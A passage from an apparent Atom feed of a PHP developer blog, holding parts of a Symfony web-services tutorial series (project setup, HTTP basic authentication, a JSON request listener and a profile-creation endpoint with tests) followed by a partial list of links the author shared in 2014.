        $this-&gt;assertSame(201, $response-&gt;getStatusCode(), $response-&gt;getContent());
    }

    public function testItFailsIfNameIsMissing()
    {
        $headers = array(
            'CONTENT_TYPE' =&gt; 'application/json',
            'PHP_AUTH_USER' =&gt; 'spanish_inquisition',
            'PHP_AUTH_PW' =&gt; 'NobodyExpectsIt!',
        );
        $body = json_encode(array('no-name' =&gt; ''));
        $request = Request::create('/api/v1/profiles', 'POST', array(), array(), array(), $headers, $body);

        $response = $this-&gt;app-&gt;handle($request);

        $this-&gt;assertSame(422, $response-&gt;getStatusCode(), $response-&gt;getContent());
    }

    public function testItFailsIfNameAlreadyExists()
    {
        $headers = array(
            'CONTENT_TYPE' =&gt; 'application/json',
            'PHP_AUTH_USER' =&gt; 'spanish_inquisition',
            'PHP_AUTH_PW' =&gt; 'NobodyExpectsIt!',
        );
        $body = json_encode(array('name' =&gt; 'Provençal le Gaulois'));
        $request = Request::create('/api/v1/profiles', 'POST', array(), array(), array(), $headers, $body);

        $this-&gt;app-&gt;handle($request);
        $response = $this-&gt;app-&gt;handle($request);

        $this-&gt;assertSame(422, $response-&gt;getStatusCode(), $response-&gt;getContent());
    }

    protected function tearDown()
    {
        $this-&gt;em-&gt;rollback();
        $this-&gt;em-&gt;close();
    }
}
</code></pre>

<p>Our tests should be broken again:</p>

<pre><code>make test
</code></pre>

<p>Another check can fix this awful situation:</p>

<pre><code class="php">&lt;?php
// File: src/AppBundle/Controller/ProfileCreationController.php;

namespace AppBundle\Controller;

use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Method;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route;
use Symfony\Component\HttpFoundation\JsonResponse;
use Symfony\Component\HttpFoundation\Request;

class ProfileCreationController extends Controller
{
    /**
     * @Route("/api/v1/profiles")
     * @Method({"POST"})
     */
    public function createProfileAction(Request $request)
    {
        $em = $this-&gt;get('doctrine.orm.entity_manager');

        $name = $request-&gt;request-&gt;get('name');
        if (null === $name) {
            return new JsonResponse(array('error' =&gt; 'The "name" parameter is missing from the request\'s body'), 422);
        }
        if (null !== $em-&gt;getRepository('AppBundle:Profile')-&gt;findOneByName($name)) {
            return new JsonResponse(array('error' =&gt; 'The name "'.$name.'" is already taken'), 422);
        }
        $createdProfile = new Profile($name);
        $em-&gt;persist($createdProfile);
        $em-&gt;flush();

        return new JsonResponse($createdProfile-&gt;toArray(), 201);
    }
}
</code></pre>

<p>Are we there yet?</p>

<pre><code>php app/console doctrine:database:drop --force --env=test
make test
</code></pre>

<p>Yes we are. Here's our last commit for this time:</p>

<pre><code>git add -A
git commit -m 'Added error checks'
</code></pre>

<h2 id="conclusion">Conclusion</h2>

<p>Creating an endpoint with Symfony is pretty straighfoward: it all comes down to
HTTP knowledge.</p>

<p>Our codebase is very small due to the simplicity of our examples, but in a real
life application we'll need to add more complexity as new requirements appear.</p>

<p>The pragmatic approach is good for now, but at some point we'll need to refactor
our code by creating some services, each with their specific responsibilities,
to prevent our application from becoming a <a href="https://speakerdeck.com/richardmiller/atm">big ball of mud</a>
where everything is hard to read, impossible to test and expensive to change.</p>

<p>This will the subject of <a href="/2015/03/04/sf-ws-part-2-3-creation-refactoring.html">the next article</a>.</p>

<blockquote>
  <p><strong>Reference</strong>: <a class="button button-reference" href="/2015/08/03/phpspec.html">see the phpspec reference article</a></p>
</blockquote>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Symfony / Web Services - part 2.1: Creation bootstrap]]></title>
            <link href="/2015/01/21/sf-ws-part-2-1-creation-bootstrap.html"/>
            <updated>2015-01-21T00:00:00+00:00</updated>
            <id>/2015/01/21/sf-ws-part-2-1-creation-bootstrap.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>Deprecated</strong>: This series has been re-written - see
  <a href="/2016/02/03/ultimate-symfony-http-kernel.html">The Ultimate Developer Guide to Symfony</a></p>
</blockquote>

<p>This is the second article of the series on managing Web Services in a
<a href="https://symfony.com">Symfony</a> environment. Have a look at the first one:
<a href="/2015/01/14/sf-ws-part-1-introduction.html">1. Introduction</a>.</p>

<p>In this post we'll create an empty application and prepare it:</p>

<ul>
<li><a href="#installing-the-standard-edition">Installing the standard edition</a></li>
<li><a href="#twitching-for-tests">Twitching for tests</a></li>
<li><a href="#patching-for-json-submit">Patching for JSON submit</a></li>
<li><a href="#setting-up-the-authentication">Setting up the authentication</a></li>
<li><a href="#conclusion">Conclusion</a></li>
</ul>

<h2 id="installing-the-standard-edition">Installing the standard edition</h2>

<p>First of all, we need to create an empty Symfony application:</p>

<pre><code>composer create-project symfony/framework-standard-edition ws
</code></pre>

<blockquote>
  <p><strong>Note</strong>: Take the time to configure a MySQL database, we'll need it later.</p>
</blockquote>

<p>Next we'll configure an Apache's virtual host (should be in <code>/etc/apache2/sites-available/ws.conf</code>):</p>

<pre><code>&lt;VirtualHost *:80&gt;
    ServerName ws.local

    DocumentRoot /home/foobar/ws/web

    ErrorLog "/home/foobar/ws/app/logs/apache_errors.log"
    CustomLog "/home/foobar/ws/app/logs/apache_accesses.log" common

    &lt;Directory /home/foobar/ws/web&gt;
        Options Indexes FollowSymLinks MultiViews
        AllowOverride None
        Require all granted
        Order allow,deny
        allow from all
    &lt;/Directory&gt;
&lt;/VirtualHost&gt;
</code></pre>

<p>Apache will require access to the logs and cache directories, as well as your
user. The easiest way to do so is to change Apache's user and group to yours in
<code>/etc/apache2/envvars</code>:</p>

<pre><code>export APACHE_RUN_USER=foobar
export APACHE_RUN_GROUP=foobar
</code></pre>

<p>In order for this to work we'll update our <code>/etc/hosts</code> file:</p>

<pre><code>echo '127.0.0.1 ws.local' | sudo tee -a /etc/hosts
</code></pre>

<p>And finally we'll restart the web server:</p>

<pre><code>sudo service apache2 restart
</code></pre>

<p>We should be able to see "Homepage" when browsing http://ws.local/app_dev.php/app/example</p>

<p>Let's commit our work:</p>

<pre><code>git init
git add -A
git ci -m 'Created a standard Symfony application'
</code></pre>

<h2 id="twitching-for-tests">Twitching for tests</h2>

<p>As explained in <a href="/2014/11/15/sf2-quick-functional-tests.html">this article</a>,
we'll twitch the standard edition a little bit in order to make tests more explicit.</p>

<p>First we create a bootstraping file:</p>

<pre><code class="php">&lt;?php
// File: app/bootstrap.php

require __DIR__.'/bootstrap.php.cache';
require __DIR__.'/AppKernel.php';
</code></pre>

<p>Then we configure PHPUnit to use it:</p>

<pre><code class="xml">&lt;?xml version="1.0" encoding="UTF-8"?&gt;

&lt;!-- http://phpunit.de/manual/4.1/en/appendixes.configuration.html --&gt;
&lt;phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:noNamespaceSchemaLocation="http://schema.phpunit.de/4.1/phpunit.xsd"
         backupGlobals="false"
         colors="true"
         bootstrap="bootstrap.php"
&gt;
    &lt;testsuites&gt;
        &lt;testsuite name="Project Test Suite"&gt;
            &lt;directory&gt;../tests&lt;/directory&gt;
        &lt;/testsuite&gt;
    &lt;/testsuites&gt;
&lt;/phpunit&gt;
</code></pre>

<p>We've decided to put our tests in a separate <code>tests</code> directory, allowing us to
decalre an autoload mapping specific for development. To fully optimize our
autoloading, we'll also define our <code>src/AppBundle</code> folder as a path for the
<code>AppBundle</code> namespace, using PSR-4:</p>

<pre><code>{
    "name": "symfony/framework-standard-edition",
    "license": "MIT",
    "type": "project",
    "description": "The \"Symfony Standard Edition\" distribution",
    "autoload": {
        "psr-4": { "AppBundle\\": "src/AppBundle" }
    },
    "autoload-dev": {
        "psr-4": { "AppBundle\\Tests\\": "tests" }
    },
    "require": {
        "php": "&gt;=5.3.3",
        "symfony/symfony": "2.6.*",
        "doctrine/orm": "~2.2,&gt;=2.2.3",
        "doctrine/doctrine-bundle": "~1.2",
        "twig/extensions": "~1.0",
        "symfony/assetic-bundle": "~2.3",
        "symfony/swiftmailer-bundle": "~2.3",
        "symfony/monolog-bundle": "~2.4",
        "sensio/distribution-bundle": "~3.0.12",
        "sensio/framework-extra-bundle": "~3.0",
        "incenteev/composer-parameter-handler": "~2.0"
    },
    "require-dev": {
        "sensio/generator-bundle": "~2.3"
    },
    "scripts": {
        "post-root-package-install": [
            "SymfonyStandard\\Composer::hookRootPackageInstall"
        ],
        "post-install-cmd": [
            "Incenteev\\ParameterHandler\\ScriptHandler::buildParameters",
            "Sensio\\Bundle\\DistributionBundle\\Composer\\ScriptHandler::buildBootstrap",
            "Sensio\\Bundle\\DistributionBundle\\Composer\\ScriptHandler::clearCache",
            "Sensio\\Bundle\\DistributionBundle\\Composer\\ScriptHandler::installAssets",
            "Sensio\\Bundle\\DistributionBundle\\Composer\\ScriptHandler::installRequirementsFile",
            "Sensio\\Bundle\\DistributionBundle\\Composer\\ScriptHandler::removeSymfonyStandardFiles"
        ],
        "post-update-cmd": [
            "Incenteev\\ParameterHandler\\ScriptHandler::buildParameters",
            "Sensio\\Bundle\\DistributionBundle\\Composer\\ScriptHandler::buildBootstrap",
            "Sensio\\Bundle\\DistributionBundle\\Composer\\ScriptHandler::clearCache",
            "Sensio\\Bundle\\DistributionBundle\\Composer\\ScriptHandler::installAssets",
            "Sensio\\Bundle\\DistributionBundle\\Composer\\ScriptHandler::installRequirementsFile",
            "Sensio\\Bundle\\DistributionBundle\\Composer\\ScriptHandler::removeSymfonyStandardFiles"
        ]
    },
    "config": {
        "bin-dir": "bin"
    },
    "extra": {
        "symfony-app-dir": "app",
        "symfony-web-dir": "web",
        "symfony-assets-install": "relative",
        "incenteev-parameters": {
            "file": "app/config/parameters.yml"
        },
        "branch-alias": {
            "dev-master": "2.6-dev"
        }
    }
}
</code></pre>

<p>To make it official, we need to run the following command:</p>

<pre><code>composer dump-autoload
</code></pre>

<p>We'll also install <a href="http://phpspec.net">phpspec</a>:</p>

<pre><code>composer require phpspec/phpspec:~2.1
</code></pre>

<p>With this our tests will be awesome! Time to commit:</p>

<pre><code>git add -A
git commit -m 'Configured tests'
</code></pre>

<h2 id="patching-for-json-submit">Patching for JSON submit</h2>

<p>Symfony provides the posted data in the <code>Request</code>'s <code>request</code> attribute, except
if the content type is <code>application/json</code>, as it will be our case. To fix this
behavior we'll follow the steps described in <a href="/2014/09/03/master-sf2-part-5-events.html">this article</a>.</p>

<p>Let's start by the creation of an event listener:</p>

<pre><code class="php">&lt;?php
// File: src/AppBundle/EventListener/SubmitJsonListener.php

namespace AppBundle\EventListener;

use Symfony\Component\HttpFoundation\JsonResponse;
use Symfony\Component\HttpKernel\Event\GetResponseEvent;

/**
 * PHP does not populate $_POST with the data submitted via a JSON Request,
 * causing an empty $request-&gt;request.
 *
 * This listener fixes this.
 */
class SubmitJsonListener
{
    /**
     * @param GetResponseEvent $event
     */
    public function onKernelRequest(GetResponseEvent $event)
    {
        $request = $event-&gt;getRequest();
        $hasBeenSubmited = in_array($request-&gt;getMethod(), array('POST', 'PUT'), true);
        $isJson = ('application/json' === $request-&gt;headers-&gt;get('Content-Type'));
        if (!$hasBeenSubmited || !$isJson) {
            return;
        }
        $data = json_decode($request-&gt;getContent(), true);
        if (JSON_ERROR_NONE !== json_last_error()) {
            $event-&gt;setResponse(new JsonResponse(array('error' =&gt; 'Invalid or malformed JSON'), 400));
        }
        $request-&gt;request-&gt;add($data ?: array());
    }
}
</code></pre>

<p>Finally we'll register it in the Dependency Injection Container:</p>

<pre><code># File: app/config/services.yml
services:
    app.submit_json_listener:
        class: AppBundle\EventListener\SubmitJsonListener
        tags:
            - { name: kernel.event_listener, event: kernel.request, method: onKernelRequest }
</code></pre>

<h2 id="setting-up-the-authentication">Setting up the authentication</h2>

<p>HTTP basic authentication can be configured through the <code>app/config/security.yml</code>
file, as described in <a href="http://symfony.com/doc/current/book/security.html">the official documentation</a>.</p>

<p>In the end we should have something like this:</p>

<pre><code># app/config/security.yml
security:
    encoders:
        Symfony\Component\Security\Core\User\User: plaintext

    providers:
        in_memory:
            memory:
                users:
                    spanish_inquisition:
                        password: 'NobodyExpectsIt!'
                        roles:
                            - ROLE_USER

    firewalls:
        dev:
            pattern: ^/(_(profiler|wdt)|css|images|js)/
            security: false

        default:
            anonymous: ~
            http_basic: ~
            stateless: true

    access_control:
        - { path: /.*, roles: ROLE_USER }
</code></pre>

<p>Now to comply with our description we need to customize the error. We can do so
using another event listener:</p>

<pre><code class="php">&lt;?php
// File: src/AppBundle/EventListener/ForbiddenExceptionListener.php

namespace AppBundle\EventListener;

use Symfony\Component\HttpFoundation\JsonResponse;
use Symfony\Component\HttpKernel\Event\GetResponseForExceptionEvent;
use Symfony\Component\Security\Core\Exception\AccessDeniedException;

/**
 * PHP does not populate $_POST with the data submitted via a JSON Request,
 * causing an empty $request-&gt;request.
 *
 * This listener fixes this.
 */
class ForbiddenExceptionListener
{
    /**
     * @param GetResponseForExceptionEvent $event
     */
    public function onKernelException(GetResponseForExceptionEvent $event)
    {
        $exception = $event-&gt;getException();
        if (!$exception instanceof AccessDeniedException) {
            return;
        }
        $error = 'The credentials are either missing or incorrect';
        $event-&gt;setResponse(new JsonResponse(array('error' =&gt; $error), 403));
    }
}
</code></pre>

<p>And to register it:</p>

<pre><code># File: app/config/services.yml
services:
    app.submit_json_listener:
        class: AppBundle\EventListener\SubmitJsonListener
        tags:
            - { name: kernel.event_listener, event: kernel.request, method: onKernelRequest }

    app.forbidden_exception_listener:
        class: AppBundle\EventListener\ForbiddenExceptionListener
        tags:
            - { name: kernel.event_listener, event: kernel.exception, method: onKernelException, priority: 10 }
</code></pre>

<blockquote>
  <p><strong>Note</strong>: the Symfony Security event listener has a priority set to 0.
  In order for our listener to be executed, we need to set a higher one, like 10.</p>
</blockquote>

<p>As you can see by browsing http://ws.local/app_dev.php/app/example, we now need
to provide the <code>spanish_inquisition</code> with the <code>NobodyExpectsIt!</code> password to
access the page.</p>

<p>This is enough for today, we'll commit our work:</p>

<pre><code>git add -A
git commit -m 'Created custom event listeners'
</code></pre>

<h2 id="conclusion">Conclusion</h2>

<p>Our application is now ready!</p>

<p>In the [next article](/2015/01/28/sf-ws-part-2-2-creation-pragmatic.html
we'll create the first endpoint, the creation of profiles, using a pragmatic approach.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Symfony / Web Services - part 1: Introduction]]></title>
            <link href="/2015/01/14/sf-ws-part-1-introduction.html"/>
            <updated>2015-01-14T00:00:00+00:00</updated>
            <id>/2015/01/14/sf-ws-part-1-introduction.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>Deprecated</strong>: This series has been re-written - see
  <a href="/2016/02/03/ultimate-symfony-http-kernel.html">The Ultimate Developer Guide to Symfony</a></p>
</blockquote>

<p>Welcome to this new series of articles on managing Web Services in a
<a href="https://symfony.com">Symfony</a> environment. Its purpose is to provide an example,
it doesn't pretend to be the best solution and it requires you to know the basics
of Symfony (if you know what a service is, you're good) and of web services
(basically to know that they're a way to provide data remotely).</p>

<blockquote>
  <p><strong>Spoiler alert</strong>: There won't be much Symfony specific code ;) .</p>
</blockquote>

<p>In this post we'll describe the different endpoints of the (fake) web service
which will be used as a reference thoughout the whole series:</p>

<ul>
<li><a href="#json-objects">JSON objects</a></li>
<li><a href="#authentication">Authentication</a></li>
<li><a href="#create-a-profile">Create a profile</a></li>
<li><a href="#delete-a-profile">Delete a profile</a></li>
<li><a href="#conclusion">Conclusion</a></li>
</ul>

<h2 id="json-objects">JSON objects</h2>

<p>The posted and returned resources will always be wrapped in a JSON object.</p>

<h2 id="authentication">Authentication</h2>

<p>All endpoints require HTTP Basic Authentication with the following credentials:</p>

<ul>
<li>user: <code>spanish_inquisition</code></li>
<li>password: <code>NobodyExpectsIt!</code></li>
</ul>

<p>If those credentials are missing or wrong (<code>403 FORBIDDEN</code>), it will return:</p>

<pre><code>{
    "error": "The credentials are either missing or incorrect"
}
</code></pre>

<h2 id="create-a-profile">Create a profile</h2>

<ul>
<li><code>POST http://ws.local/api/v1/profiles</code></li>
</ul>

<p>The request body should be as follow:</p>

<pre><code>{
    "name": "Fawlty Tower"
}
</code></pre>

<p>In case of success (<code>201 CREATED</code>), it will return:</p>

<pre><code>{
    "id": 23,
    "name": "Fawlty Tower"
}
</code></pre>

<p>If the request's body contains malformed JSON (<code>400 BAD REQUEST</code>), it will return:</p>

<pre><code>{
    "error": "Invalid or malformed JSON"
}
</code></pre>

<p>If the <code>name</code> parameter is missing from the request's body (<code>422 UNPROCESSABLE ENTITY</code>),
it will return:</p>

<pre><code>{
    "error": "The \"name\" parameter is missing from the request's body"
}
</code></pre>

<p>If the name already exists (<code>422 UNPROCESSABLE ENTITY</code>), it will return:</p>

<pre><code>{
    "error": "The name \"Provençal le Gaulois\" is already taken"
}
</code></pre>

<h2 id="delete-a-profile">Delete a profile</h2>

<ul>
<li><code>DELETE http://ws.local/api/v1/profiles/{id}</code></li>
</ul>

<p>This endpoint will always return an empty body (<code>204 NO CONTENT</code>).</p>

<h2 id="conclusion">Conclusion</h2>

<p>So basically we can create and remove profiles, which have an identifier and a name.</p>

<p>In <a href="/2015/01/21/sf-ws-part-2-1-creation-bootstrap.html">the next article</a>
we'll see how to build such web service.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Links from 2014]]></title>
            <link href="/2015/01/07/links-from-2014.html"/>
            <updated>2015-01-07T00:00:00+00:00</updated>
            <id>/2015/01/07/links-from-2014.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>TL;DR</strong>: Links I tweeted during 2014</p>
</blockquote>

<p>I've tweeted a lot of links in 2014, so in order to keep track of them I've
decided to list them here:</p>

<ul>
<li><a href="#cool-new-tools">Cool new tools</a></li>
<li><a href="#igor-wiedler-and-functional-programing">Igor Wiedler and Functional Programing</a></li>
<li><a href="#todd-moto-and-javascript">Todd Moto and Javascript</a></li>
<li><a href="#hexagonal-rchitecture">Hexagonal Architecture</a></li>
<li><a href="#some-insightful-tweets">Some insightful tweets</a></li>
<li><a href="#performance">Performance</a></li>
<li><a href="#symfony-components">Symfony Components</a></li>
<li><a href="#richard-miller">Richard Miller</a></li>
<li><a href="#mathias-verraes">Mathias Verraes</a></li>
<li><a href="#elnur">Elnur</a></li>
<li><a href="#uncle-bob-and-8th-light">Uncle Bob and 8th light</a></li>
<li><a href="#tests-and-tdd">Tests and TDD</a></li>
<li><a href="#agile-and-bdd">Agile and BDD</a></li>
<li><a href="#miscellaneous">Miscellaneous</a></li>
</ul>

<blockquote>
  <p><strong>Warning</strong>: The order and categories are quite random.</p>
</blockquote>

<h2 id="cool-new-tools">Cool new tools</h2>

<ul>
<li><a href="http://webmozarts.com/2014/12/03/puli-powerful-resource-management-for-php/">Puli - Powerful Resource Management for PHP</a></li>
<li><a href="http://gnugat.github.io/redaktilo/">Redaktilo - An easy line manipulation PHP lib: jump, insert and do anything!</a></li>
<li><a href="http://couscous.io/">Couscous - Put your markdown documentation online</a></li>
<li><a href="https://gist.github.com/mathiasverraes/9046427">Test Framework in a tweet</a></li>
<li><a href="http://yohan.giarel.li/Finite/index.html">Finite, a state machine library for PHP</a></li>
</ul>

<h2 id="igor-wiedler-and-functional-programing">Igor Wiedler and Functional Programing</h2>

<ul>
<li><a href="https://igor.io/2014/01/06/functional-library-iter.html">Functional Library: Iteration</a></li>
<li><a href="https://igor.io/2014/01/08/functional-library-traversal.html">Functional Library: Traversal</a></li>
<li><a href="https://igor.io/2014/01/10/functional-library-null.html">Functional Library: Null</a></li>
</ul>

<p>See also:</p>

<ul>
<li><a href="http://nikic.github.io/2014/01/10/The-case-against-the-ifsetor-function.html">The case against the ifsetor function</a></li>
</ul>

<h2 id="todd-moto-and-javascript">Todd Moto and Javascript</h2>

<ul>
<li><a href="http://toddmotto.com/everything-you-wanted-to-know-about-javascript-scope/">Everything you wanted to know about javascript scopes</a></li>
<li><a href="http://toddmotto.com/avoiding-anonymous-javascript-functions/">Avoiding anonymous JavaScript functions</a></li>
<li><a href="http://toddmotto.com/mastering-the-module-pattern/">Mastering the Module Pattern</a></li>
<li><a href="http://toddmotto.com/understanding-the-this-keyword-in-javascript/">Understanding the “this” keyword in JavaScript</a></li>
<li><a href="http://toddmotto.com/what-function-window-document-undefined-iife-really-means/">What (function (window, document, undefined) {})(window, document); really means</a></li>
</ul>

<p>See also:</p>

<ul>
<li><a href="http://www.slideshare.net/weaverryan/cool-like-frontend-developer-grunt-requirejs-bower-and-other-tools-29177248">Cool like a Frontend Developer: Grunt, RequireJS, Bower and other Tools</a></li>
<li><a href="http://www.maori.geek.nz/post/i_promise_this_will_be_short">What are Promises and Deferred Objects?</a></li>
</ul>

<h2 id="hexagonal-architecture">Hexagonal Architecture</h2>

<ul>
<li><a href="http://alistair.cockburn.us/Hexagonal+architecture">Hexagonal Architecture</a></li>
<li><a href="http://pivotallabs.com/hexagonal-rails-and-the-ludicrous-terminal-application/">Hexagonal Rails and The Ludicrous Terminal Application</a></li>
<li><a href="http://collectiveidea.com/blog/archives/2012/06/28/wheres-your-business-logic/">Where's Your Business Logic?</a></li>
<li><a href="https://github.com/igorw/doucheswag">doucheswag source code</a></li>
<li><a href="https://speakerdeck.com/igorw/silex-an-implementation-detail-tnphp">Silex, an implementation detail</a></li>
</ul>

<h2 id="some-insightful-tweets">Some insightful tweets</h2>

<ul>
<li><code>Interface</code> suffix and <code>Abstract</code> prefix is nothing else than an acceptance of
your failure to name things clear in the first place. <a href="https://twitter.com/everzet/status/432925046731186176">@everzet</a></li>
<li>Once #PuliPHP is stable, many reasons for bundles will be gone.
Then a bundle is just a package with DI config
<a href="https://twitter.com/webmozart/status/545642670753062914">@webmozart</a></li>
<li>TDD #InATweet: 1. write the test 2. write enough code to make it pass,
in a quick and dirty way 3. refactor <a href="https://twitter.com/epiloic/status/442202139600113664">@epiloic</a></li>
<li>spec #BDD #InATweet: test method names shoulb be senteces (it_should_do_something rather than testMethod)
<a href="https://twitter.com/epiloic/status/441830123437064192">@epiloic</a></li>
<li>story #BDD #InATweet: acceptance criteria (from user stories) should be executable
<a href="https://twitter.com/epiloic/status/446540046800543744">@epiloic</a></li>
<li>Rule of thumb number one: never follow blindly rule of thumbs
<a href="https://twitter.com/epiloic/status/442334229645762560">@epiloic</a></li>
<li>Should #Behat's training wheels come off too?
http://aslakhellesoy.com/post/11055981222/the-training-wheels-came-off
<a href="https://twitter.com/epiloic/status/463922386736136193">@epiloic</a></li>
</ul>

<h2 id="performance">Performance</h2>

<ul>
<li><a href="http://marcjschmidt.de/blog/2014/02/08/php-high-performance.html">Bring High Performance Into Your PHP App (with ReactPHP)</a></li>
<li><a href="http://symfony.com/blog/push-it-to-the-limits-symfony2-for-high-performance-needs">Push it to the limits - Symfony2 for High Performance needs</a></li>
<li><a href="http://labs.octivi.com/handling-1-billion-requests-a-week-with-symfony2/">Handling 1 Billion requests a week with Symfony2</a></li>
<li><a href="http://labs.octivi.com/mastering-symfony2-performance-doctrine/">Mastering Symfony2 Performance – Doctrine</a></li>
<li><a href="http://devplant.net/2014/08/11/optimizing-php-code/?utm_content=buffer133dd&amp;utm_medium=social&amp;utm_source=twitter.com&amp;utm_campaign=buffer">Optimizing PHP code</a></li>
<li><a href="http://lists.freebsd.org/pipermail/freebsd-current/2010-August/019310.html">why GNU grep is fast</a></li>
<li><a href="http://www.sitepoint.com/time-complexity-algorithms/">Time Complexity of Algorithms</a></li>
<li><a href="https://github.com/mybuilder/phpunit-accelerator">PHPUnit accelerator</a></li>
<li><a href="https://gist.github.com/nikic/5015323">Why objects (usually) use less memory than arrays in PHP</a></li>
<li><a href="http://nikic.github.io/2014/12/22/PHPs-new-hashtable-implementation.html">PHP's new hashtable implementation</a></li>
</ul>

<h2 id="symfony-components">Symfony Components</h2>

<ul>
<li><a href="http://loige.com/symfony-security-authentication-made-simple/">Symfony security: authentication made simple (well, maybe!)</a></li>
<li><p><a href="https://www.youtube.com/watch?v=xQyEXzug7P8&amp;feature=youtu.be">Love &amp; Loss, a Symfony Security Play</a></p></li>
<li><p><a href="http://blog.servergrove.com/2014/04/07/symfony2-components-overview-expression-language/">Symfony2 components overview: ExpressionLanguage</a></p></li>
<li><a href="http://jwage.com/post/76799775984/using-the-symfony-expression-language-for-a-reward">Using the Symfony Expression Language for a Reward Rules Engine</a></li>
<li><p><a href="http://blog.elcodi.io/blog/2014/05/20/about-rules-and-expressionlanguage/">About Rules and ExpressionLanguage</a></p></li>
<li><p><a href="http://www.lucas.courot.com/symfony2-console-component-on-steroids.html">Symfony2 Console Component on steroids</a></p></li>
</ul>

<h2 id="richard-miller">Richard Miller</h2>

<ul>
<li><a href="http://richardmiller.co.uk/2014/03/28/symfony2-configuring-different-services-for-different-environments/">Symfony2: Configuring different services for different environments</a></li>
<li><a href="http://richardmiller.co.uk/2012/10/31/symfony2-trimming-fat-from-controllers/">Symfony2: Trimming Fat from Controllers</a></li>
<li><a href="http://richardmiller.co.uk/2014/11/06/value-objects/">Value Objects</a></li>
</ul>

<h2 id="mathias-verraes">Mathias Verraes</h2>

<ul>
<li><a href="http://verraes.net/2014/06/named-constructors-in-php/">Named Constructors in PHP</a></li>
<li><a href="http://verraes.net/2014/08/resolving-feature-envy-in-the-domain/">Resolving Feature Envy in the Domain</a></li>
<li><a href="http://verraes.net/2014/08/sterile-estimation/">Sterile Estimation</a></li>
<li><a href="http://verraes.net/2013/09/extract-till-you-drop/">Extract Till You Drop</a></li>
<li><a href="http://verraes.net/2014/12/how-much-testing-is-too-much/">How Much Testing is Too Much?</a></li>
</ul>

<h2 id="elnur">Elnur</h2>

<ul>
<li><a href="http://elnur.pro/behat-and-mink-are-not-meant-to-be-together/">Behat and Mink Are Not Meant to Be Together</a></li>
<li><a href="http://elnur.pro/use-the-domain-language-in-bdd-features/">Use the Domain Language in BDD Features</a></li>
<li><a href="http://elnur.pro/use-only-infrastructural-bundles-in-symfony/">Use Only Infrastructural Bundles in Symfony</a></li>
<li><a href="http://elnur.pro/bdd-does-not-replace-testing/">BDD Does Not Replace Testing</a></li>
<li><a href="http://elnur.pro/triangulation-in-testing/">Triangulation in Testing</a></li>
<li><a href="http://elnur.pro/stop-playing-god-with-project-constraints/">Stop Playing God With Project Constraints</a></li>
<li><a href="http://elnur.pro/assets-cache-busting-in-symfony/">Assets Cache Busting in Symfony</a></li>
<li><a href="http://elnur.pro/make-atomic-commits/">Make Atomic Commits</a></li>
</ul>

<h2 id="uncle-bob-and-8th-light">Uncle Bob and 8th light</h2>

<ul>
<li><a href="http://blog.8thlight.com/uncle-bob/2014/01/27/TheChickenOrTheRoad.html">The Domain Discontinuity</a></li>
<li><a href="http://blog.8thlight.com/uncle-bob/2014/03/11/when-to-think.html">When should you think</a></li>
<li><a href="http://blog.8thlight.com/uncle-bob/2014/04/30/When-tdd-does-not-work.html">When TDD doesn't work</a></li>
<li><a href="http://blog.8thlight.com/uncle-bob/2014/05/10/WhenToMock.html">When to Mock</a></li>
<li><a href="http://blog.8thlight.com/uncle-bob/2014/05/14/TheLittleMocker.html">The little Mocker</a></li>
<li><a href="http://blog.8thlight.com/uncle-bob/2014/05/19/First.html">First</a></li>
<li><p><a href="http://blog.cleancoder.com/uncle-bob/2014/09/03/TestTime.html">TestTime</a></p></li>
<li><p><a href="http://blog.8thlight.com/doug-bradbury/2014/06/18/how-men-and-women-think-differently.html">How Men and Women Think Differently</a></p></li>
<li><a href="http://blog.8thlight.com/ben-spatafora/2014/07/15/command-objects-are-gerunds.html">Command Objects Are Verbs</a></li>
<li><a href="http://blog.8thlight.com/eric-smith/2014/07/18/standups-are-broken-but-should-they-be-fixed.html">Stand-ups are Broken, but Should They be Fixed?</a></li>
<li><a href="http://blog.8thlight.com/ginny-hendry/2014/07/11/take-pride-in-your-legacy-code.html">Take Pride in Your Legacy Code</a></li>
</ul>

<h2 id="tests-and-tdd">Tests and TDD</h2>

<ul>
<li><a href="http://www.getdonedone.com/five-test-cases-for-fewer-bugs/">Want To Introduce Fewer Bugs? Test Through These Five Cases.</a></li>
<li><a href="http://martinfowler.com/bliki/UnitTest.html">UnitTest</a></li>
<li><a href="https://www.destroyallsoftware.com/blog/2014/test-isolation-is-about-avoiding-mocks">Test Isolation Is About Avoiding Mocks</a></li>
<li><a href="http://pivotallabs.com/tests-implementation-detail/">Tests Are An Implementation Detail</a></li>
<li><a href="http://codurance.com/2014/12/13/naming-test-classes-and-methods/">Naming Test Classes and Methods</a></li>
<li><a href="http://www.daedtech.com/what-tdd-is-and-is-not?utm_content=buffer835cd&amp;utm_medium=social&amp;utm_source=twitter.com&amp;utm_campaign=buffer">What TDD is and is not</a></li>
<li><a href="http://martinfowler.com/articles/is-tdd-dead/">Is TDD dead</a></li>
<li><a href="https://www.destroyallsoftware.com/blog/2014/tdd-straw-men-and-rhetoric">TDD, Straw Men, and Rhetoric</a></li>
</ul>

<h2 id="agile-and-bdd">Agile and BDD</h2>

<ul>
<li><a href="http://rob.conery.io/2013/08/28/how-behavioral-is-your-bdd/">How behavioral is your BDD?</a></li>
<li><a href="http://dannorth.net/whats-in-a-story/">What's in a story?</a></li>
<li><a href="http://dannorth.net/2013/08/08/blink-estimation/">Blink estimations</a></li>
<li><a href="http://nomad8.com/acceptance_criteria/">On acceptance criteria for User Stories</a></li>
<li><a href="http://dannorth.net/2014/07/18/capturing-the-narrative/">Capturing the narrative</a></li>
<li><a href="http://labs.octivi.com/pair-programming-from-the-developers-perspective/">Pair programming from the developer’s perspective</a></li>
<li><a href="http://www.mountaingoatsoftware.com/blog/my-primary-criticism-of-scrum">My Primary Criticism of Scrum</a></li>
<li><a href="http://lizkeogh.com/2014/08/21/a-dev-walks-into-a-bar/">A dev walks into a bar…</a></li>
<li><a href="http://lizkeogh.com/2014/09/01/deriving-gherkin-from-real-conversations/">Deriving Gherkin from Real Conversations</a></li>
